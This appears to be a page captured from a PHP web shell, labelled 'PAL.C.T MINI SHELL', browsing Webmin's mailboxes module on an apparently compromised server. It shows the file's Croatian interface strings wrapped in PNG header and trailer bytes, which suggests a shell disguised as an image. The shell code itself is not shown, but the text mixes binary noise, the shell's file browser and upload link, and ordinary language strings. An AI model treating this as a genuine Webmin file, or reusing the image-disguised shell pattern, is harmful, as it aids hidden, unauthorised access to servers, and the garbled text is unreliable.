php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/mailboxes/lang/
upload
files >> //usr/libexec/webmin/mailboxes/lang/hr.auto

index_title=Pročitajte korisničku poštu
index_none=Nije vam dopušteno čitati e-poštu bilo kojim korisnicima u ovom sustavu.
index_header=Korisničke poštanske sandučiće
index_empty=Nema pošte
index_return=popis korisnika
index_esystem=Nijedan od podržanih poslužitelja e-pošte (Exim, Qmail, Postfix i Sendmail) nije otkriven u vašem sustavu. Trebat ćete prilagoditi konfiguraciju <a href='$1'>modula</a> da biste ručno postavili poslužitelj e-pošte i eventualno staze pošte.
index_esystem2=Poslužitelj e-pošte postavljen u konfiguraciji modula <a href='$1'></a> nije pronađen u vašem sustavu. Morat ćete prilagoditi konfiguraciju za upotrebu ispravnog poslužitelja.
index_esystem3=Došlo je do pogreške u kontaktu s poštanskim sustavom postavljenim u konfiguraciji modula <a href='$1'></a>: $2.
index_system6=Poslužitelj pošte: Exim
index_system5=Poslužitelj pošte: Qmail+VPopMail
index_system4=Poslužitelj pošte: Qmail+LDAP
index_system2=Poslužitelj pošte: Qmail
index_system1=Poslužitelj pošte: Sendmail
index_system0=Poslužitelj pošte: Postfix
index_toomany=Previše je korisnika u vašem sustavu da bi se prikazalo na jednoj stranici.
index_find=Pronađi korisnike gdje je korisničko ime
index_equals=jednaki
index_contains=sadrži
index_eperl=Perl modul $1 potreban za odabrani način provjere identiteta SMTP nije instaliran ili nedostaje ovisni modul. <a href='$2'>Kliknite ovdje</a> da biste ga sada instalirali.
index_file=Pročitajte poštu u datoteci ili maildiru:
index_nousers=Nisu pronađeni korisnici!
index_nousersmail=Nije pronađen nijedan korisnik s e-poštom.

mail_title=Korisnička adresa e-pošte
mail_from=Iz
mail_date=Datum
mail_subject=predmet
mail_to=Do
mail_cc=Kopija
mail_bcc=Skrivena kopija
mail_pri=Prioritet
mail_highest=Najviši
mail_high=visok
mail_normal=normalan
mail_low=nizak
mail_lowest=najniža
mail_for=U $1
mail_for2=Za korisnika $1
mail_sent=Na popisu poslanih poruka
mail_size=Veličina
mail_level=Postići
mail_delete=Izbrisati
mail_compose=Sastaviti
mail_open=Otvoren
mail_return=korisnički poštanski pretinac
mail_pos=Poruke $1 do $2 od $3 u $4
mail_none=Ovaj korisnik nema poruke u $1
mail_ecannot=Nije vam dopušteno čitati e-poštu ovog korisnika
mail_all=Odaberi sve.
mail_invert=Invert izbor.
mail_nosort=Poništi sortiranje.
mail_search=Pronađi poruke gdje
mail_body=Tijelo
mail_match=šibice
mail_ok=traži
mail_nonefrom=nijedan
mail_mark=Označi kao:
mail_mark0=nepročitan
mail_mark1=Čitati
mail_mark2=poseban
mail_forward=Naprijed
mail_move=Premjesti u:
mail_copy=Kopirajte u:
mail_rfc=Iz linije
mail_eexists=Poruka više ne postoji!
mail_fchange=Promijeniti
mail_indexlink=Vratite se na poštanski sandučić
mail_deleteall=Izbrisati sve
mail_black=Odbaci pošiljatelje
mail_white=Dopusti pošiljateljima
mail_whitemove=Dopusti pošiljateljima i pretinac pristigle pošte
mail_efile=Datoteka pošte ne postoji
mail_fromsrch=Pronađite e-poštu s istim pošiljateljem
mail_subsrch=Pronađi e-poštu s istom temom
mail_tosrch=Pronađi e-poštu s primateljem
mail_fromfilter=Stvorite filtar po pošiljatelju
mail_tofilter=Stvorite filtar prema primatelju
mail_subfilter=Stvorite filter prema temi
mail_unknown=Nepoznata

mail_sign=Prijavite se ključem
mail_nosign=&lt;Ne potpisujte&gt;
mail_crypt=Šifrirajte za
mail_nocrypt=&lt;Ne šifrirajte&gt;
mail_samecrypt=&lt;Ključevi odredišne adrese&gt;
mail_addresses=Upravljanje adresnikom
mail_folders=Upravljanje mapama
mail_err=Došlo je do pogreške pri popisu pošte u ovoj mapi : $1
mail_loginheader=Prijava na POP3 poslužitelj
mail_loginheader2=Prijava na IMAP poslužitelj
mail_logindesc=Morate unijeti korisničko ime i lozinku za pristup pošti u mapi pristigle pošte na poslužitelju pošte $1.
mail_loginuser=Korisničko ime
mail_loginpass=Zaporka
mail_loginmailbox=IMAP poštanski pretinac
mail_login=Prijaviti se
mail_reset=Čisto
mail_logout=Promjena prijave za POP3
mail_logout2=Promjena prijave IMAP
mail_sig=Uredi potpis
mail_jump=Skoči na stranicu :
mail_of=od
mail_replyto=Odgovarati na
mail_folder=mapa
mail_delall=Izbrisati sve
mail_deltrash=Isprazni smeće
mail_search2=Traziti:
mail_search3=Pronađite s gornjim rezultatom:
mail_advanced=Napredna pretraga
mail_return2=Korisnička adresa e-pošte
mail_esystem=Došlo je do pogreške u kontaktu s poštanskim sustavom: $1. Ovo mora popraviti administrator sustava.
mail_selread=Odaberite pročitajte.
mail_selunread=Odaberite nepročitano.
mail_selspecial=Odaberite posebnu.
mail_specialsync=Posebna sinkronizacija

view_title=Pročitajte e-poštu
view_desc=Poruka $1 u $2
view_desc2=Poruka $1 za korisnika $2
view_desc3=Poruka $1
view_sent=Poruka $1 na popisu poslanih poruka
view_qdesc=Poruka u redu $1
view_headers=Zaglavlja e-pošte
view_body=Sadržaj poruke
view_nobody=Ova poruka nema tjelesnog sadržaja.
view_allheaders=Pogledajte sva zaglavlja
view_noheaders=Pogledajte osnovne zaglavlja
view_attach=Prilozi
view_afile=Naziv privitka
view_atype=Vrsta privitka
view_aactions=akcije
view_aview=Pogled
view_aopen=Otvoren
view_asave=Uštedjeti
view_aplain=sirov
view_anofile=Nema imena datoteke
view_asize=Veličina datoteke
view_reply=Odgovor
view_reply2=Odgovoriti na sve
view_enew=Uredi kao novo
view_forward=Naprijed
view_delete=Izbrisati
view_print=otisak
view_strip=Uklonite privitke
view_ecannot=Nije vam dopušteno čitati e-poštu ovog korisnika
view_mark=Označi kao:
view_mark0=nepročitan
view_mark1=Čitati
view_mark2=poseban
view_markas0=nepročitan
view_markas1=Čitati
view_markas2=poseban
view_return=originalnu e-poštu
view_sub=Priložena e-pošta
view_sub2=Priložena e-pošta od $1
view_egone=Ova poruka više ne postoji
view_eugone=Ovaj korisnik ne postoji

view_gnupg=Potvrda potpisa GnuPG-a
view_gnupg_0=Potpis sa $1 je valjan.
view_gnupg_1=Potpis sa $1 je valjan, ali lanac povjerenja nije mogao biti uspostavljen.
view_gnupg_2=Potpis sa $1 vrijedi <b>NE</b>.
view_gnupg_3=ID ključa $1 nije na vašem popisu, pa potpis nije moguće provjeriti.
view_gnupg_4=Provjera potpisa nije uspjela : $1
view_crypt=GnuPG dešifriranje pošte
view_crypt_1=Poruka je šifrirana, ali podrška GnuPG nije instalirana.
view_crypt_2=Dešifriranje poruke nije uspjelo : $1
view_crypt_3=Pošta je uspješno dešifrirana.
view_crypt_4=Šifrirani dio poruke uspješno je dešifriran.
view_recv=<a href='$2'>Dohvati ID ključa $1 s poslužitelja tipki</a>.
view_folder=Vratite se na poštanski sandučić
view_dheader=Odvojite privitak na poslužitelju
view_detach=Datoteka za uklanjanje:
view_dall=&lt;Sve datoteke&gt;
view_dir=za datoteku ili direktorij poslužitelja:
view_black=Odbaci Sender
view_white=Dopusti pošiljatelju
view_whitemove=Dopusti pošiljatelja i pristiglu poštu
view_razor=Prijavi neželjeni sadržaj
view_ham=Prijavi Ham
view_hammove=Prijavi Ham i Inbox
view_razordel=Izbriši neželjenu poštu
view_dstatus=Nije uspio status isporuke
view_dstatusok=Status uspješne isporuke
view_final-recipient=Krajnji primatelj
view_diagnostic-code=Razlog neuspjeha
view_remote-mta=Daljinski poslužitelj e-pošte
view_reporting-mta=Poslužitelj za izvještavanje e-pošte
view_astext=Pogledajte kao tekst
view_ashtml=Pogledajte kao HTML
view_images=Pokažite slike
view_raw=Pogledajte sirovu poruku
view_aall=Spremite sve privitke kao ZIP.
view_aslideshow=Prikaži sve slike

compose_title=Sastavite e-poštu

reply_title=Odgovor na e-poštu
forward_title=Prosljeđivanje e-pošte
enew_title=Uređivanje e-pošte
reply_headers=Zaglavlja e-pošte
reply_attach=Proslijeđeni prilozi
reply_mailforward=Proslijeđene poruke
reply_attach2=Prilozi na strani klijenta i poslužitelja
reply_attach3=Preneseni prilozi
reply_send=Poslati mail
reply_ecannot=Nije vam dopušteno slanje pošte kao ovog korisnika
reply_body=Tekst poruke
reply_errc=Kopiranje e-pošte nije uspjelo
reply_errm=Premještanje pošte nije uspjelo
reply_return=sastaviti poštu
reply_efwdnone=Nijedna od proslijeđenih poruka ne postoji
reply_dsn=Želite li zatražiti čitanje obavijesti o statusu?
reply_del=Želite li zatražiti obavijest o statusu isporuke?
reply_aboot=Dodati primatelje u adresar?
reply_tabfrom=Iz
reply_tabto=Do
reply_tabreplyto=Odgovarati na
reply_tabcc=Kopija
reply_tabbcc=Skrivena kopija
reply_tabsigning=Potpisivanje
reply_taboptions=Opcije
reply_addattach=Dodajte polje privitka.
reply_addssattach=Dodajte polje za prilaganje na strani poslužitelja.
reply_html0=Sastavljanje teksta
reply_html1=Sastavite HTML

reply_spell=Provjerite pravopisne pogreške?
reply_draft=Spremi kao skicu
reply_save=Spremi i uredi

send_err=Slanje pošte nije uspjelo
send_eto=Nedostaje adresa
send_efrom=Nedostaje s adrese
send_esubject=Nedostaje predmet e-pošte
send_title=Poslano putem pošte
send_title2=Spremanje pošte
send_ok=E-pošta uspješno poslana na $1
send_sending=Slanje pošte na $1 ..
send_ecannot=Nije vam dopušteno slanje pošte kao ovog korisnika
send_esmtp=SMTP naredba $1 nije uspjela : $2
send_eattach=Prilozi ne mogu imati više od veličine $1 kB.
send_eperms=Korisnik $1 ne može čitati $2
send_eperms2=Nije vam dopušteno slanje datoteke $1
send_epath=Sendmail izvršni $1 ne postoji.
send_efile=Pročitavanje privitka $1 : $2 nije uspjelo
send_done=.. gotovo.

send_epass=Ne možete potpisati poruku jer vaša lozinka još nije postavljena u GnuPG modulu.
send_esign=Poruka nije uspjela : $1
send_ekey=Nije moguće pronaći ključ za adresu e-pošte $1
send_ecrypt=Šifriranje poruke nije uspjelo : $1
send_eword=Pravopisna riječ $1
send_eword2=Pravopisna riječ $1 - moguće ispravke $2
send_eline=U retku $1 :
send_espell=U vašoj poruci pronađene su sljedeće pravopisne pogreške.
send_draft=Pošta na $1 spremljena u mapi skice.
send_drafting=Spremanje pošte u $1 u mapi skice ..
send_eattachsize=Privitak e-pošte premašio je maksimalno dopuštenu veličinu od $1 bajta

delete_title=Izbriši poštu
delete_rusure=Jeste li sigurni da želite izbrisati odabrane poruke $1 s $2? Možda će potrajati neko vrijeme za veliku datoteku pošte. Dok se brisanje ne završi, ne smije se provoditi druga radnja.
delete_rusure2=Jeste li sigurni da želite izbrisati ovu poruku sa $1? Možda će potrajati neko vrijeme za veliku datoteku pošte. Dok se brisanje ne završi, ne smije se provoditi druga radnja.
delete_ok=Izbriši sada
delete_ecannot=Sada vam je dopušteno brisanje pošte ovog korisnika
delete_enone=Nije odabrana pošta za brisanje
delete_emnone=Nije odabrana pošta za obilježavanje
delete_efnone=Nije odabrana pošta za prosljeđivanje
delete_ebnone=Nije odabrana pošta za odbijanje
delete_ewnone=Nije odabrana nijedna pošta za dopuštanje
delete_ernone=Nije odabrana pošta za prijavu kao neželjenu poštu
delete_ehnone=Nije odabrana nijedna pošta za prijavu kao pršut
delete_emoveuser=Korisnik za premještanje pošte ne postoji
delete_ecopyuser=Korisnik za kopiranje pošte ne postoji
delete_emovecannot=Ne smijete premještati poštu navedenom korisniku
delete_ecopycannot=Nije vam dopušteno kopiranje pošte navedenom korisniku
delete_emovenone=Nije odabrana pošta za premještanje
delete_ecopynone=Za kopiranje nije odabrana nijedna pošta
delete_nobutton=Nijedan klik nijedan gumb
delete_ereport=Prijavi se kao neželjena pošta : $1
delete_errc=Kopiranje e-pošte nije uspjelo
delete_errm=Premještanje pošte nije uspjelo

confirm_title=Potvrdite Delete
confirm_warn=Jeste li sigurni da želite izbrisati odabrane poruke $1 iz ove mape?
confirm_warnf=Jeste li sigurni da želite izbrisati odabrane poruke $1 iz mape <b>$2</b>?
confirm_warn2=Zbog veličine i formata vašeg poštanskog sandučića, ovo može potrajati neko vrijeme. Dok se brisanje ne završi, ne smije se provoditi druga radnja.
confirm_warn3=Jeste li sigurni da želite izbrisati ovu poruku?
confirm_warn4=Dok se brisanje ne završi, ne smije se provoditi druga radnja.
confirm_ok=Izbriši sada
confirm_warnall=Jeste li sigurni da želite izbrisati sve poruke u ovoj mapi?
confirm_warnallf=Jeste li sigurni da želite izbrisati sve poruke u mapi <b>$1</b>?

search_title=Rezultati pretraživanja
search_ecannot=Nije vam dopušteno pretraživanje e-pošte ovog korisnika
search_ematch=Morate unijeti tekst za podudaranje.
search_escore=Nedostaje ili je nevažeća ocjena neželjene pošte
search_efield=Morate odabrati vrstu pretraživanja.
search_ewhat=Nema teksta koji se podudara s unesenim retkom $1
search_enone=Nisu uneseni kriteriji pretraživanja
search_none=Nisu pronađene poruke
search_results2=$1 poruke e-pošte koji odgovaraju $2
search_results3=$1 poruke e-pošte ne odgovaraju $2
search_results4=$1 poruke e-pošte koje odgovaraju vašem pretraživanju
search_results5=$1 poruke e-pošte u kojima se $2 podudara $3
search_msg2=Rezultati pretraživanja za $1
search_msg4=Rezultati pretraživanja
search_msg5=Rezultati pretraživanja neželjene pošte s ocjenom $1
search_msg6=Rezultati pretraživanja za polje $1 u polju $2
search_local=U lokalnim mapama
search_all=U svim mapama
search_limit=(od zadnjih $1 poruka)
search_status=Sa statusom
search_attach=Morate imati privitke?
search_allstatus=bilo koji
search_onestatus=Samo status
search_latest=Poruke za pretraživanje
search_nolatest=Sve u mapi
search_latestnum=Samo najnovije
search_elatest=Nedostaje ili nevažeći broj poruka za pretraživanje
search_withstatus=, sa statusom $1

folder_inbox=Ulazni spremnik
folder_sent=Poslana pošta
folder_drafts=nacrti
folder_trash=Otpad

detach_err=Odvajanje datoteke nije uspjelo
detach_edir=Nema datoteke ili mape za spremanje
detach_eopen=Otvaranje $1 : $2 nije uspjelo
detach_ewrite=Pisanje u $1 : $2 nije uspjelo
detach_title=Odvojite datoteku
detach_ok=Napisao je privitak na datoteci na strani poslužitelja $1 ($2).

sform_title=Napredna pretraga
sform_header=Napredne mogućnosti pretraživanja putem e-pošte
sform_andmode=Način kriterija
sform_and=Pronađi poruke koje odgovaraju svim kriterijima ispod.
sform_or=Pronađi poruke koje odgovaraju bilo kojim kriterijima u nastavku ..
sform_neg0=sadrži
sform_neg1=ne sadrži
sform_ok=Pretražite sada
sform_folder2=Traži u mapama
sform_all=&lt;Sve mape&gt;
sform_local=&lt;Lokalne mape&gt;
sform_where=Gdje
sform_text=tekst
sform_from=Od: zaglavlje
sform_subject=Predmet: zaglavlje
sform_to=Za: zaglavlje
sform_cc=Cc: zaglavlje
sform_bcc=Bcc: zaglavlje
sform_date=Datum: zaglavlje
sform_body=tijelo poruke
sform_headers=bilo koje zaglavlje
sform_allmsg=cijela poruka
sform_size=veličina poruke
sform_return=napredni obrazac za pretraživanje

find_enone=Nisu pronađeni korisnici koji odgovaraju vašoj pretrazi
find_title=Rezultati pretraživanja
find_results=Korisnici koji odgovaraju pretraživanju $1 ..
find_user=Korisničko ime
find_real=Pravo ime
find_group=Skupina
find_home=Domaći direktorij
find_size=Veličina pošte
find_incount=E-pošta
find_sentcount=Poslano
find_fcount=mape
find_in=$1 u $2

acl_none=nijedan
acl_same=Korisnik s istim imenom
acl_all=svi
acl_read=Korisnici čiji se mail može čitati
acl_users=Samo korisnici
acl_userse=Svi osim korisnika
acl_usersg=Članovi grupa
acl_from=Dopušteno s adresa
acl_any=Bilo koja adresa
acl_fdoms=Domene poštanskog sandučića @
acl_faddrs=Navedene adrese
acl_fdom=Bilo koja adresa @ domena
acl_fromname=Pravo ime za From adresa
acl_apath=Ograničite datoteke i program na direktorij
acl_attach=Maksimalna ukupna veličina privitaka
acl_unlimited=Neograničen
acl_sent=Spremite poslanu poštu u poštanski pretinac
acl_canattach=Mogu li priložiti datoteke sa strane poslužitelja?
acl_candetach=Može li odvojiti datoteke na poslužitelju?
acl_usersm=Korisnici se podudaraju
acl_asame=Isto kao i korisničko ime
acl_usersu=Sa UID-om u dometu
acl_sec=Uključiti sekundarne skupine?
acl_dir=Mogu čitati datoteke e-pošte u direktoriju
acl_dirauto=Odlučite automatski (bilo gdje ako su svi korisnici vidljivi, nigdje drugdje)

log_delmail=Izbrisane su poruke $1 s $2
log_movemail=Prenesene su poruke $1 s $2 u $3
log_copymail=Kopirane su poruke $1 s $2 u $3
log_send=Poslana pošta $1
log_read=Pročitajte poštu za $1

emodified=Ova je mapa izmijenjena otkako je zadnji put gledana! Vratite se na <a href='$1'>popis pošte</a> i pokušajte ponovo.

razor_title=Izvješćivanje kao neželjene pošte
razor_title2=Izvještavanje kao Ham
razor_report=Prijavljivanje ove poruke Razoru i drugim bazama podataka koje blokiraju neželjenu poštu ..
razor_report2=Izvještavanje odabranih poruka Razor-u i ostalim bazama podataka koje blokiraju neželjenu poštu ..
razor_report3=Poništavanje prijavljivanja odabranih poruka Razor-u i ostalim bazama podataka koje blokiraju neželjenu poštu ..
razor_done=.. gotovo
razor_err=.. neuspjeh! Pogledajte gornju poruku pogreške zbog razloga.
razor_moved=.. gotov, i premješten u mapu $1.
razor_deleted=.. gotov, i izbrisana poruka previše.

ham_title=Izvještavanje kao Ham
ham_report=Prijavljivanje ove poruke kao neželjene pošte Razoru i drugim bazama podataka SpamAssassin ..

black_title=Odbijanje pošiljatelja
black_done=Na popis odbijenih adresa SpamAssassin dodao je adresu e-pošte $1.
black_already=Adresa e-pošte $1 već se nalazi na popisu odbijanih adresa tvrtke SpamAssassin.

white_title=Dopuštanje pošiljatelja
white_done=Na popis dopuštenih adresa SpamAssassin dodao je adresu e-pošte $1.
white_already=Adresa e-pošte $1 već se nalazi na popisu dozvoljenih adresa SpamAssassina.

ldap_emod=Nedostaje Perl modul $1 potreban za povezivanje na LDAP
ldap_econn=Nije uspjelo povezivanje s poslužiteljem LDAP $1 port $2
ldap_elogin=Povezivanje na LDAP poslužitelj $1 kao $2 : $3 nije uspjelo
ldap_ehost=U konfiguraciji modula nije postavljen LDAP poslužitelj
ldap_eport=Nije postavljen valjani port za LDAP poslužitelj u konfiguraciji modula
ldap_euser=U konfiguraciji modula nije postavljena prijava za LDAP
ldap_ebase=Nema konfiguracije DN LDAP-a u konfiguraciji modula

delall_title=Izbriši svu poštu
delall_rusure=Jeste li sigurni da želite izbrisati svu e-poštu s $1? $2 poruke ukupne vrijednosti $3 bit će zauvijek izbrisane.
delall_ok=Izbriši sada

slide_title=Priložene slike
slide_prev=prijašnji
slide_next=Sljedeći

left_mail=pošta
left_search=Traži:
left_folders=Upravljanje mapama
left_addresses=Adresar
left_prefs=Postavke e-pošte
left_forward=Prosljeđivanje e-pošte
left_autoreply=Automatski odgovor
left_filter=Filteri e-pošte
left_pass=Promijenite lozinku
left_sig=Uredi potpis
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`